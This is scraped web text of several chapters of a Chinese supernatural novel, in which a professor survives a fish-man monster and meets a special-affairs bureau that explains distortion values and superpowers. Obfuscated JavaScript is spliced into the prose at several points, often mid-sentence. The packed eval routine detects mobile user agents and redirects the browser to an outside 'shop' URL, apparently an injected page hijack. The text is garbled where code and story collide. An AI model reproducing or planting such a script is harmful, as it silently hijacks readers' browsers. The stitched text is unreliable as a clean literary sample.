0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588540|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外接连不断的撞击声,动作飞快地翻找着。好在他的运气不错,竟然找到了两条生锈的铁棍。这应该是先前灯塔拆下来的外栏杆,危先折伸手挥了挥,虽然生锈了,但是是实心的,要是重重砸在墙面上,估计能在墙上砸出一个深坑。 危先折很满意,他拿着铁棍回到二楼。 要是鱼人真的进来了,有武器,稍微也能抵抗一段时间,再不济,他可以直接从二楼翻下去,到时候再重新回到实验室。 -- 沈确白着脸靠在墙上,实验室的灯光很亮,风机在不停的运作,雾气从通风口缓慢消失,整个实验室逐渐变得清晰起来。 实验室里蹲着的站着的,密密麻麻一群人,可是却没有危先折的踪迹。 沈确不知道发生了什么。他们都是按照危先折说的路线跑到这里的,危先折既然能说出那段话,他自己必然能找到实验室。 可是为什么…… 为什么这里没有危先折? 沈确的眼眶红了一圈,他抓着其他人的肩膀,“危教授呢?你们看到危教授了吗?” 大家都摇摇头。 一人道:“刚刚什么都看不见,危教授是不是去其他实验室了?” 沈确的动作有些僵硬,其他实验室? 可是大家都在这里,危先折怎么可能会去其他实验室? 想到先前看到的那只怪物,沈确的背后忍不住冒出一层层的冷汗,危先折是不是出了什么意外? 当时是危先折推了他一把,先把他推出车窗的。他要是留下来等他,会不会就不会和危先折失散了? 他离开后,又发生了什么吗? 沈确忍不住瞎想,表情瞬间变得十分憔悴,他缓缓抱头蹲下,他应该出去找危先折的,可是鱼人实在太过恐怖,他想出去,却迈不开脚步。 他不敢。 不敢拿自己的命去冒险。 实验室里,除了研究员们,还有几位和他们同一辆车的记者,他们抱团坐在角落里,表情极为呆滞。 “好像在做梦一样。”一人喃喃道。 他们怎么也没想,自己只不过是出一个外勤,就发生了这么多离奇古怪的事情。 太匪夷所思了。 想到先前听到的语音,他们忍不住一阵寒颤。 他们这辆车的人都在这个实验室了,那么其他车的人呢?他们是还在车上,还是都已经被鱼人给吃了? 好不容易找到了一个安全的地方,大家都忍不住开始瞎想。 沉默、恐惧、悲痛,各种情绪交织在一起,在整个实验室内缓缓蔓延。 而此时,灯塔内,危先折闭上眼睛,听着楼下传来的动静。鱼人似乎发现这扇门撞不开了,它在门口不停踱步。重重的脚步声在门外盘旋着,危先折手里握着铁棍,手背脉络分明,手臂上肌肉微微鼓起。 他在等。 若是鱼人离开了,那皆大欢喜。若是鱼人硬要闯进来…… 危先折的眼睫微抬,手指攥紧铁棍。 他伸出手,灰蓝色的眼瞳染着几分冷意。 5. 5点污染值 时间一分一秒地过去,鱼人仍旧在灯塔门外僵持着,它时不时发出尖锐的怒吼,下一刻又冲着铁门猛烈地撞击,好在灯塔建造时的用料十分扎实,鱼人身上的鳞片都被撞飞许多,铁门依旧毫发无损。 危先折的神情渐渐舒缓下来,但是紧握着铁棍的手依旧没有放开。 他微微眯起眼睛,不知道实验室那边怎么样了,从背包中拿出手机,不出意外,没有任何的信号,不过既然鱼人已经盯上了他,那么其他人都还是安全的。 九月的天气依旧闷热,即便是在海岛上,也没有减免半分,危先折的隔离服内已经积满了汗水,口罩的边缘也都被洇湿。 就在这个时候,危先折突然听到一道熟悉的声音。 “危教授,你在这里吗?”这道声音带着几分颤抖,声音不大,可却清清楚楚地传入了危先折脑海中。 危先折的脸色微微一变,他从栏杆上往下看去,可由于海雾仍在泛滥,他什么也看不见。 “危教授,你在附近的话就回答我一声。”这道声音愈发清晰了,是沈确的声音。 就在这个时候,鱼人撞击铁门的声音突然停下,危先折脸色一变,“不好。” 他顾不得楼下的鱼人,直接从栏杆上翻了下去,灯塔二楼的层高起码有三四米,但好在灯塔的外表略微倾斜,且由于海边空气潮湿,上面爬满了各种藤蔓。 危先折翻出栏杆后直接从二楼滑了下去。 刚下楼,危先折就听到了从右边传来的脚步声,随之而来的还有那咸湿的腥气。 沈确丝毫没有意识到危险的靠近,他仍在不断小声呼喊着,可那些呼喊声,在此时过分安静的环境中,分外明显。 危先折没管鱼人,他握紧铁棍朝沈确的位置飞快靠近。 被漠视的鱼人再次发出尖叫。 这时沈确才听到了不远处的动静,他猛地停下脚步,原本就苍白的脸色此时更是白得透明,他的手里拿着一把匕首,这是他好不容易在实验室里找到的武器。 没事的。 沈确闭上眼睛,狠狠吸了一口气之后才重新睁开。 其实现在睁不睁眼睛并没有任何区别,整个世界都是一片茫茫的白,很难一个海岛上想象会出现这样的浓雾。 这时危先折身后急促的脚步声已经距离他很近了,他毫不犹豫,猛地转身将铁棍狠狠砸下。 很难描述刚刚的触感,像是砸中了一坨软塌塌的肉泥,铁棍陷在里面,又被轻轻弹起。危先折面不改色地再次砸下,这次他砸向了鱼人的膝盖。 遭到撞击,鱼人“砰”地一声砸在地面上 危先折也不恋战,他转身就朝先前沈确的所在的方向跑去。 “沈确!”危先折的嗓音带着几分哑,“说话!” 沈确瞪大眼睛,他忍不住大声喊道:“我在这里!” 话音刚落下,一只温暖有力的手便猛地攥住了他的手腕,沈确下意识想挥动匕首,可还没来得及反应,便被危先折拽着往前跑了起来。 沈确第一次跑得这么快,他感觉自己喉咙里逐渐泛出一股血腥味,有风糊在他的脸上,缺氧的感觉让他下意识大口喘着气。 危先折没管沈确,当务之急是趁这个机会躲开鱼人的追击。 可在听到身后同样急促的脚步声时,危先折狠狠闭上了眼睛又睁开,鱼人追上来了。 这次,鱼人似乎在模仿沈确,危先折甚至都听到了身后那和沈确如出一辙的喘气声。 危先折目光沉了沉。 他现在拉着沈确绕着海岛的沿海公路跑,可他们的耐力显然比不过鱼人,鱼人的脚步声看似急促实际上极为平稳,它还没有到极限。 ——危先折发现沈确已经到了极限。 沈确确实到了极限,他已经一个字都说不出来了,就算发出声音,也在风中破碎得不成样子,他的双腿几乎软成了棉花,如果不是危先折还在前面抓着他,他可能早就已经躺在了地上。 跑不动了。 沈确的嗓子中发出一道粗粝的喘气。 危先折只能停下,他回头,在鱼人靠近的第一时间,将沈确往旁边一推,直接则再一次拿起铁棍冲了上去。 鱼人再一次被击倒。 “还能跑吗?”危先折又往鱼人身上重重砸了几下,一边忍着心中的恶心,一边向沈确询问。 沈确苦笑:“……危教授,你自己跑吧,我实在是跑不动了。” 危先折:“。” 危先折自然不会丢下沈确不管。 他一下又一下,重重地砸在鱼人身上,力度大得几乎要将鱼人砸成肉泥,可当他再一次砸下,感受到那分毫不差的触感时,就知道,鱼人毫发无损。 必须重新回到灯塔。 危先折计算着过去的距离,海岛呈现椭圆形,而灯塔在最南边的位置,他刚刚带着沈确往东北方向跑,若要重新回到灯塔,要么原路返回,要么直接绕海岛一圈。 沈确的状态并不支持他们绕道一圈,那么现在就只剩下一种选择——原路返回。 这样想着,他毫不犹豫地拉起沈确的手臂,“再坚持十分钟。” 说完,他飞快迈起步子往先前的方向跑去。 沈确的大脑一片空白,他下意识地抬脚,然后就感受到从手臂处传来的巨大拉力,他还没反应过来,就被危先折拖拽着跑了十几米。 “啊啊啊啊啊啊!”沈确发出了尖锐爆鸣。 而很快,鱼人重重的脚步声再一次跟上他们二人,像是永远甩不掉的幽灵,无论如何,它都会跟在他们身后。 危先折心中暗道麻烦。 鱼人智力不高,只有力气大、学习能力强几个特点,若是有大杀伤力的武器,应该能很快把鱼人解决。 只可惜,铁棍已经是他能找到的,杀伤力最大的武器了。 -- 鱼人似乎厌倦了这场追逐的游戏,他很快就加快了脚步,细密的脚步声离危先折二人愈发的近了。 可就在即将靠近危先折二人的时候,鱼人硕大的眼珠突然落在了旁边的路灯上,没人知道它在想什么,它突然停了下来,紧紧地盯着路灯。 危先折并不知道鱼人想做什么,他只能趁这个机会,尽可能的靠近灯塔。 “坚持住,还有大概一千米。” 沈确已经完全说不出话了,他现在完全靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巨大的冲击力让危先折的意识有一瞬间的模糊,他强忍着眼中的酸涩,摆动双腿,绕着海岛飞快向前游。 海水不受海雾影响,危先折抽空回头看了一眼,正好看到鱼人双腿逐渐变换成鱼尾的瞬间。 而鱼人,在和危先折对视上的下一秒,便飞快朝危先折游了过来。 危先折脸色白了白。 然而就在这个时候,海水仿佛突然平静了一瞬,下一刻,一团白光从远处飞快朝危先折靠近。 危先折下意识扭头看去,而鱼人已经近在咫尺,鱼尾重重地朝危先折的头颅甩了过来。 因为缺氧,危先折的意识已然有些模糊,这一刻,甚至没法躲开鱼人的攻击。 然而就在这惊险的一刻,危先折看清楚了那团白光,那不是光,而是一只章鱼科的生物。八条触手在海水中翻滚游动,危先折甚至能清清楚楚看到那蓝白相间的纹路。 61号? 危先折的大脑中出现了这个数字,可很快,他便露出了一抹哭笑,眼前瞬间黑了下去。 6. 6点污染值 一声巨大的枪响,猛地击破了空气中无限蔓延的安静。 沈确跌倒在一旁,满眼含泪地朝枪声响起的方向看去,却见海雾缭绕中,身穿深绿色制服,戴着墨色手套,手中握紧武器的一行四人逐渐朝他的位置走来。 这时沈确才发现,刚刚还浓密到伸手不见五指的海雾,不知道什么时候正在逐渐散去。 他跌跌撞撞地站起来,朝这群人奔去,“救、快救人。” 为首一人轻轻抬起手腕,他看了眼腕表,冷峻的表情逐渐缓和下来,对身后几人道:“畸变值18%,正常范围。” “老大,污染值到这里就消失了。”成乐坠在队伍最后,他的手里拿着一块类似罗盘的东西,上面的指针指向沈确的方向,他摸了摸脑袋,看向沈确,“他应该是最后一个和诡异接触的人。” 沈确听不懂这群人在说什么,他只焦急地指向已然平静的海面,压下心中的不安和恐慌,语速极快:“我们危教授掉进海里了,那只怪物也跳下去了。” 闻言,成乐“嘿”了一声,“老大,那应该是诡异跳海了,难道是淹死了,怪不得我们一枪就把域崩掉了。” 什么畸变值,什么污染值,什么诡异,什么域,沈确一个字都不想听,他只知道,刚刚在怪物袭击他们的时候,是危教授推了他一把。 此刻,沈确满脸都写着懊悔,他又让危教授陷入了危机。 被称为老大的人抬手,制止了成乐的话,他看向沈确,“把刚刚发生的事情再说一遍。” 沈确连忙道:“刚刚雾太浓了,我也不是很确定,但是我听到了两声水声,那个怪物用这个灯杆攻击了我们,危教授把我推开之后没多久我就听到落水的声音了,后来那个怪物也追着危教授跳进了海里,再后来你们就出现了,雾也散了。” 李潮识点点头,看向成乐,成乐毫不犹豫地抬起罗盘对向海面,向来蔚蓝的海面透着黑,此时天气很好,烈阳高照,海面也风平浪静,根本看不出来海下还藏了鱼人这样的怪物。 过了几秒,成乐摇摇头,“可能距离比较远了,检测不出来。”他将罗盘上毫无反应的指针展示给李潮识一行人看。 李潮识沉思几秒,看向其他人:“你们怎么看?” “域消失了,说明诡异也死了。”一人扶了扶眼镜,他长了一头银色及腰的长发,长发半扎着,有几缕碎发落在面颊上,长相阴柔但是不显女气,沈翊看向成乐,倏地玩味笑了一下,“难不成真如小乐说的一样,淹死了?” 成乐冲他翻了个白眼。 李潮识眉心蹙起:“先联系打捞队救人吧。” “老大,要不我下去看下吧。”成乐举起手,“反正诡异死了,海里应该没什么危险。” 李潮识点点头。 虽然他已经下意识的认为,那个被诡异追到海里的“危教授”,要么已经被诡异撕裂,要么已经被诡异感染,没有救的需要了。 然而,成乐刚脱下外套走到海边的时候,海面突然掀起了一阵汹涌的海浪,众人目光瞬间警惕起来,连成乐都停下了脚步,下意识抬起腕表对准海面。 同深蓝的海面不同,海浪白得刺眼,阳光一照,层层叠叠的,像是云朵一般。可这样美丽的一幕,在李潮识一行人眼中,无疑是古怪的,他们一副如临大敌的表情。 连沈确的心都忍不住提了起来。可很快,在看到被海浪裹挟着出现的那道人影时,沈确的脸上却是一阵狂喜。 “是危教授!”他毫不犹豫直接冲着海边跑了过去,连离他最近的李潮识想抓住他都没抓住。 沈确一脚深一脚浅地踩在沙滩上,很快就跑到了危先折身边,此时危先折正好被海浪推到了岸边,沈确不顾形象地跪倒在危先折面前,他颤抖着手探向危先折的脖颈。 还有脉搏。 沈确猛地吐出一口气。 “危教授!”他拍了拍危先折的脸,见危先折已经失去了意识,更是毫不犹豫地给危先折做起了心肺复苏。 李潮识一行已经走了过来,只见他抬起腕表对准危先折,似乎做了一个扫描的动作之后,脸色大变,“停下!” 他的声音很大,又极为严厉,沈确茫然地看过去。 “他的畸变值已经到了90%,你靠近他很有可能会被他感染,过来,离他远点!” 沈确愈发茫然了:“什、什么畸变值?” 李潮识表情凝重,“他已经被诡异感染了,之前的鱼人就是一只诡异,靠近诡异物,就会受它们的影响产生畸变,畸变值达到90%就会失去理智,超过95%,就会化为诡异物。” “可是危教授……” “还不过来!”李潮识表情愈发冷厉,“要是被他咬上一口,你的畸变值会马上超过20%,这辈子都要靠药物控制!” 沈确不知道他们说的畸变值到底是什么样子,可是看着李潮识那副严肃的表情,也意识到了事态的严重性,他缓缓起身,退到了李潮识一行人旁边。 “怎么办……”沈确喃喃。 “老大,”这时,四人中一直没有说话的男人突然开口,“他身上的畸变值在降低。” “谢立冬你是不是看错了,”成乐下意识反驳,“畸变值怎么可能……” 可话还没有说完,成乐看到了谢立冬腕表上显示的数据,他的表情蓦地凝固住,很快,他眨眨眼,“什么情况?” 谢立冬放下手,目光又落到危先折身上,语气淡淡的:“可能,我们要多一个同伴了。” 烈日炎炎,尤其是在海滩上,众人的嘴巴都干得冒出了一层皮。 成乐蹲在地上,拿着罗盘一下又一下地拨弄着,指针在他的拨弄下,飞快转动。 另外几人则时不时抬起腕表对准危先折,直到腕表上标红的数据降为蓝色,他们才彻底松了一口气。 “79%了,”李潮识立马道,“过去看看。” 听到这句话,沈确又是第一个冲了过去,危先折仍然昏迷着,身上的水珠在太阳的暴晒下已经干得彻底,他原本苍白的脸色在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎看出危先折的无语,沈确摸了摸自己的鼻子,他低下头,“其实他们好像也不知道鱼人是怎么死的。” 危先折想到了记忆里最后的那一幕,鱼人进入海中之后,双腿飞快化成了鱼尾,它在海里的速度很快,朝他攻击的时候,他根本躲不开。 鱼人、鱼,鱼会被淹死吗? 正在危先折怔愣的时候,有人敲了敲门,他抬头看去,对方已经推开病房的门走了进来。 是李潮识和成乐。 见危先折醒了,李潮识抬手看向腕表,70%畸变值。 他和成乐对视一眼,下一刻,朝危先折出示了证件,上面“特殊事务管理局”几个大字,清清楚楚地落入了危先折眼中。 “我们是特管局异能组的,有些情况想向你这边了解一下。” 危先折沉默了几秒,心中默念着“特管局”三个字。 7. 7点污染值 特管局,异能组。 两个前所未闻的词汇。 危先折低敛着眉眼,他看向自己的手,连日的昏睡,他的指腹有一种微麻的错觉,指尖轻轻蜷起,他的目光才重新落到李潮识二人身上。 李潮识生得一副冷肃的模样,那周身的正气危先折只在一种人身上看过,他很肯定,李潮识是位军人。 而跟在李潮识身后的成乐瞧起来则要活泼一些,他年纪不大的样子,好奇但是并不令人感觉冒犯的目光落在危先折身上,见危先折看过来,他还友好地朝危先折笑了笑。 “危教授,”沈确低声道,“是他们救了岛上的所有人。” 距离发布会已经过去了五天,当时海岛上的所有人都被带走隔离,据沈确了解,有一部分人在离开海岛第二天,就和危先折一样陷入了昏迷。 据说,那些人畸变值很高。 巧的是,那些人正是当初近距离对60号进行监测的研究员们。 除此之外,还有一人…… 沈确看向危先折,当时发现鱼人的同样是许晨所在的考察队,可以说,除了研究员们,就是许晨同鱼人的接触最多。 听说许晨身上的畸变值也有六十几,他现在还没醒,是因为这个数据还在持续增长。 沈确抿了抿唇,看向李潮识他们,见这二人态度还算友好,他才松了一口气,“我先去打点水。” 门轻轻合上,李潮识看向成乐,成乐点点头,走过去把门反锁了起来。 李潮识见危先折这副淡定的模样,有些满意地点了点头,他这才继续道:“SA研究基地已经被特管局全面接手,基地所有的生物都纳入管控,包括人类和各类非人类,你很聪明,应该已经意识到了什么。” “是那只鱼人?”危先折反问。 “是,”李潮识没有丝毫隐瞒,“或者说,诡异物。” “诡异物?” 李潮识淡淡一笑:“这个世界不知道什么时候出现了很多非自然现象,这类极具攻击性和污染力的物种,我们称之为诡异物。” 说着,李潮识将腕表摘下递到危先折面前。 危先折没有半分犹豫地接过,说是腕表,最突出的却不是时间,而是三个特殊的数值——畸变值、异能值和污染值。 上面写着畸变值56%,异能值2级,污染值是0。 危先折抬起头:“什么意思?” 李潮识言简意赅:“诡异物身上带有大量污染,一旦人类或者其他生物接触到污染,就会产生畸变,畸变值越高,说明受到的污染越严重。” 见危先折沉默,李潮识先将一切托盘而出:“上面的数值是我的个人信息,我现在畸变值已经达到56%。畸变值在20%以下为正常范围,说明和诡异物接触过但不多,没有遭受深层次的污染,大部分时候可以通过药物治疗降低,甚至归零。而畸变值在20%-50%的范围内算是合格,药物已经没有了治疗的作用,只能控制不再继续向上增长。” 说着,李潮识低声道:“特管局大部分人都在50%-80%这个区间,听起来严重,但是正常生活不受影响,只是要时刻控制,畸变值增长的速度还是很慢的。” 言外之意,一旦畸变值到了50%,就会自然增长,连药物都无法控制。 听到这里,成乐看了李潮识一眼,他低下头,手指攥着衣角,可谁都知道,畸变值达到50%之后,距离失去理智变成怪物,也只是时间问题。 李潮识继续道:“畸变值在80%-90%这个区间已经是非常严重了,几乎没有可能救回来,而且达到80%畸变值之后,本身也会带有污染力。” 这也是当初在海滩上看到危先折之后,他让沈确马上离开的原因。 那时危先折身上的畸变值已经达到90%,这是什么概念,当时的危先折要是在清醒状态,便会立即失去理智,而且畸变值会很快达到95%,让他逐渐化为诡异物。 这种被转化的诡异物,和一代诡异物一样,都具有极强的污染性。 因此官方规定,若发现任何人类或者非人类生物的畸变值已经达到95%时,就可以直接击毙。 说着,李潮识难得笑了一下:“你应该庆幸,当时你的初始畸变值是90%,不然现在你根本不可能躺在这里听我说这些。” 危先折不置可否,事实上,他并没有觉得身上有任何的异常,即便在李潮识表明他身上的畸变值仍旧高达70%的时候,危先折都没有什么实感。 “对了,”成乐拿着一只录音笔,他凑近,“你还记得你是怎么从那只诡异物手里活下来的吗?” 在察觉到诡异出现的第一时间,他们就乘坐直升机来到了海岛,这只诡异已经形成了域,整个海岛都被它的域笼罩在内。 迫不得已,他们只能用特制的武器将域击穿一个足够他们进入的入口。 然而他们没想到,只是一枪过去,整个域就瞬间分崩离析。 只有一个可能,诡异物在刚刚那一瞬间已经死亡。 说着,成乐向危先折解释起了“域”:“诡异物的出现,一般都会伴随‘域’,尤其是超过40%污染值的诡异物,产生‘域’的可能性几乎是百分之一百。如果发现环境突然间变化,那就是已经进入到了诡异物的‘域’中。” 成乐表情凝重:“逃离域,或者毁掉域的黄金时间是3小时,越强大的域,逃离的时间越短,在域中生存24小时以上,就极其容易迷失,一旦迷失,畸变值会随机上涨50-100个百分点。” 畸变值达到90就已经足够让人失去理智,一旦上升到100%,那就已经不是人,而是新生的诡异了。 可见“域”的危险性。 “按时间线来说,确实是你和那只诡异相继入海之后,我们就已经抵达了海岛,相差不会超过一分钟,”成乐凑近,他眼睛眨了眨,“我很好奇,当时海里到底发生了什么。” “我不知道。” “什么?”成乐一愣。 危先折表情的极为坦然:“我昏迷了。” 成乐的表情更为古怪,他和李潮识对视一眼,确认危先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像是被覆上了一层厚重的水膜,越往前越难以适应,连呼吸都快要被封堵。 李潮识眉心微微蹙起,他毫不犹豫地举起特制的枪,只听到“砰”的一声,眼前的雾气突然间朝两边散开,形成了一条足够一人行走的长廊。 而不远处,新诡异显然已经发现了他们三个人,它怒吼一声,撕下身上已经破碎不堪的病号服,迈开步子朝他们冲了过来。 新诡异的模样和危先折先前见到的鱼人几乎没什么区别,鱼头人身,唯一不同的,或许就是新诡异身上的病号服了。 畸变值95%以上,就会被污染成这副样子么……危先折微微眯起眼睛,试图从那只新鲜的鱼头上辨别出这人是谁。 而新诡异显然已经发现了眼前三人中,谁是最弱的一个,它灯笼大的眼睛猛地落到了危先折身上,咧开嘴,露出上面锯齿状的牙齿。 8. 8点污染值 “咕噜。”有腥臭的泡沫从新诡异的嘴边流出,雾气笼罩在它身边,它盯着危先折,眼中的恶意毫不掩饰。 “服。”成乐一副嫌弃的表情,罗盘上指针四处转动,毫不犹豫挡在了危先折面前,“老大,它是在把我们俩当瞎子吗?” 李潮识没有说话,而是举起枪,对准眼前的诡异。 这类诡异没有自己的意识,满脑子都只有“食欲”两个字,是最低阶的诡异,和它们的污染力相比,那点攻击力只能说是微不足道。 可惜他们今天是来找危先折的,一些大杀伤力武器都没带在身上。 李潮识手里的枪是特制的,能够在一定程度上破坏域,眼前的新诡异似乎察觉到了威胁,它的步子渐渐往后退。 “小乐。” 成乐应了一声,然后飞快将罗盘甩出,看起来有些笨拙的罗盘却直接定在了半空中,上面的指针飞速转动,速度快到仿佛要冲破罗盘,很快,一道白光直接照在了新诡异的身上,指针也笔直地指向新诡异。 新诡异的鱼鳍飞快扇动着,身上的黑色鳞片在白光的照射下显出淡淡的红,那是血的颜色。 它尖叫一声,想要逃离,却发现自己被定在了原地。 是罗盘。 新诡异摇头晃脑,试图挣脱开罗盘的束缚,这时嘴里溢出的泡沫更多,发出咕噜咕噜的声音,它还不停在原地跺着脚,澄亮的无机质的眼珠睁得愈发大了。 趁这个机会,李潮识缓缓抬手,抬脚从靴子里抽出一把匕首,匕首泛着冷光,一看便是好东西。 他握紧匕首,毫不犹豫冲了上去。 鱼人身上最值钱的估计就是这身鱼皮了。它的防御力很高,先前被鱼人追击时,危先折的铁棍一下又一下砸在鱼人身上,却没有对鱼人造成任何影响。 李潮识的匕首从鱼人身上划过时,也发现了这一点,他眉心微微蹙起,很快收起匕首,重新握住枪,没有丝毫停顿地对准鱼人的脑袋就按下了扳机。 “砰”的一声,鱼人的脑袋往后倒去。 成乐瞧了一眼,大喊一声:“没用。” 李潮识的枪针对的是域,对诡异物本身反而影响不大,威力估计就和普通的枪支一样。 鱼人被子弹击中后,整个朝后倒去,可是它的脑袋上只有一个小小的凹陷,甚至都没破皮。 听到成乐的话,李潮识表情渐渐冷了下来,这只新生的诡异估计已经完美继承了先前那只诡异的一切数值,他在心中啧了一声,下一刻,和成乐对视一眼。 成乐朝他点了点头。 李潮识摘下手套,危先折发现他的掌心有一条黑线,黑线从他的中指到掌心,正缓缓朝他的手腕蔓延。 他将掌心朝上,瞬间就有一个悬浮的骰子从那条黑线中闪现,李潮识手腕翻转,骰子便飞速转动了起来,像是过去了几秒,又像只是过去了一瞬间,骰子停止转动,六点朝上。 李潮识飞快收起骰子,重新握枪,这一次,鱼人的脑袋直接在子弹下炸裂开,绿色的血浆四处飞溅。鱼人重重地倒在地上,硕大的眼珠死死盯着几人,满是怨恨。 李潮识:“小乐。” 成乐飞快“哎”了一声,罗盘上的指针继续转动起来,白光逐渐形成一个半透明的罩纱,将鱼人,以及鱼人的血迹全部笼罩在内。 “联系后勤组,抓紧时间把这里清扫干净,防止污染扩大。”李潮识说着,重新戴上黑色手套,他转身,看向危先折。 新诡异死后,周遭的白雾瞬间消散,眼前的一切都像是用了魔术扫把一般,变得十分清晰。 危先折的目光落到了李潮识的手上,刚刚那是……异能? 他想到了李潮识腕表上的异能值。 李潮识自然看出了危先折的想法,他毫无隐瞒道:“刚刚确实是异能,我的异能是概率转换,可以调整一件事的概率,如果调整成功,相应的,对我自己也有一定负面的影响。” 用枪杀死新诡异的概率是0%,被他调整到了100%,骰子显示数值越大,证明他成功的可能性越大,刚刚骰子显示的是6,说明他大成功。 “我的异能是空间锁,罗盘是我施展异能的媒介。”成乐把罗盘递到危先折面前,现在看起来就是一个普普通通的罗盘,完全看不出先前将诡异物锁定在原地的样子。 危先折沉默几秒,才定定地看向李潮识:“和我解释这么多,你们的目的是什么。” 虽然是问句,却被危先折用一种肯定的语气说出来。诡异、污染、异能,这些都是不被大众熟知的概念,李潮识他们突然间向他解释得这么清楚,不可能没有目的。 李潮识淡淡笑了一下:“你真的很聪明。” 不过想想也是,一个能够年纪轻轻就以特聘教授身份进入一个研究基地的人,怎么可能是个蠢才。 -- 见到重新回到病房的几人,沈确脸上的焦急瞬间消失,他快步走到危先折面前,“危教授,你们刚刚去哪里了?刚刚又起了大雾,是不是鱼人又出现了?” “是新的鱼人。”成乐笑嘻嘻凑过来,“不过没事了,已经被我们杀死了。” 沈确不赞同地看了他一眼:“危教授还没好,你们怎么可以把他带出去。” 闻言,成乐摸了摸鼻子。 诡异和异能这种东西解释起来太麻烦,不如直接让危先折亲眼目睹,反正他们的目的已经达到了。 成乐又偷偷扫描了一下危先折,看着上面已经显示70%的畸变值,有些狐疑,又有些不解。 按理来说,畸变值这么高,身上还没有任何异常的,都会激发异能。可是危先折看起来却像是一个正常人一样。 如果不是亲眼见到危先折的畸变值从90%降低到70%,他都要怀疑危先折就是一个普通得再普通不过的普通人了。 “先前我说的,希望你可以再考虑一下。”李潮识目光认真,“请尽快给我答复。” 危先折点点头,病号服下,他的手指微微蜷起。 李潮识笑了一下:“那我们就先走了。” “慢走,”危先折表情淡淡,“就不送了。” 目送两个人离开,沈确马上把门关上。他心中有些不安,回头见危先折已经躺回病床,他走过去,在旁边的折叠沙发上坐下。:“危教授,他们找你做什么?” “没什么。”危先折灰蓝色的眼瞳透着几分安抚,“你太紧张了,沈确。” 闻言,沈确一怔。 是的,他很紧张。 从发布会那天起,他的神经似乎一直处于紧绷状态。 这段时间发生的一切,都颠覆了他这二十多年来的一切认知。 而偏偏,那天之后,他们就被带来了这个隔离点。他们联系不上外界,外面也不知道他们接触的一切。 沈确低声道:“危教授,我打了点水,您要喝吗?” 见沈确生硬地转移话题,危先折也没再说什么,他点了点头。 沈确缓缓吐出一口气,之前危先折昏迷的时候,他都是用棉签蘸水涂抹在他的唇瓣上,估计危教授也渴了。 说起这个,沈确心中对李潮识他们升起了一股埋怨,危教授才刚醒,他们就把他带去那么危险的地方。 要是危教授再次陷入昏迷怎么办。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588544|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到这里,沈确突然一拍脑袋,“危教授,你还记得61号吗?” 危先折端起水杯的动作一顿,很快,他脑海中出现了先前61号朝他靠近的画面,他面不改色地重新将水杯放到唇边,喉结上下滚动,杯子里的水便很快空了一半。 喝完之后,他才点了点头,问:“怎么了?” “当时您被海水冲到了岸边,61号正扒着您的手腕呢,它不愿意离开,我们就一起把它带过来了。” 说着,沈确站起身,“我去把它抱过来。” 没一会儿,沈确抱着一个长宽高都大概三四十厘米的透明鱼缸过来,鱼缸里堆放了几块小石头,还有几株海草。 “条件简陋,只能委屈61号先待在鱼缸里了。”沈确笑了一下,“您看,是不是和照片里一样漂亮。” 61号很小,即使待在这样一个小巧的鱼缸里,它也能够在里面自在地游动,通体呈现淡蓝色,又有白色弧形的纹路浮现,它的触手贴在鱼缸壁上,危先折抬手,隔着一层厚厚的玻璃,轻轻点在它的吸盘上。 它触手的底部是黑色的,细看能看到蓝色细闪,时时刻刻翕张着的吸盘,瞧起来像是心形的。 可爱又独特。 “很漂亮。”这是危先折第二次夸赞它。 第一次是在许晨向他展示61号时,他发自内心的夸赞。 似乎听懂了危先折的话,61号贴在上面的吸盘一松,将触手收了回去,很快,八条触手突然就缠绕在了一起,像是在害羞一般。 它轻轻飘荡在水中,安静又乖巧。 危先折脸上挂着淡淡的笑,他收回手,这时才看向沈确:“基地里其他人都怎么样了?” 沈确摇摇头:“不太清楚,当时所有事情发生的都太突然了,我只知道所有人都被带来隔离区了,有一些人昏迷还没醒。” 说到这里,沈确低声道,“许晨也昏迷了。” 沈确能打听到的消息只有这些,他有些茫然地坐在椅子上,几天时间,天翻地覆,“SA研究基地是不是……” 基地长已经死了,其他人昏迷的昏迷,隔离的隔离。 沈确有些无措,要是SA研究基地真的没了,他该怎么办? 危先折没有那么悲观,他的目光重新落到鱼缸里,明明洁癖极为严重,此时却莫名地想将手伸进去,摸一摸,61号的触感是否和他想象中的一样柔软。 它的身子很小,八条触手占据了它总体积的五分之四,在水中漂浮游荡时,像是一朵绽开的花。 危先折收回目光,“许晨也在这里吗?” 沈确摇头,“昏迷的人都在另一个隔离点,那里有人24小时看守的。” 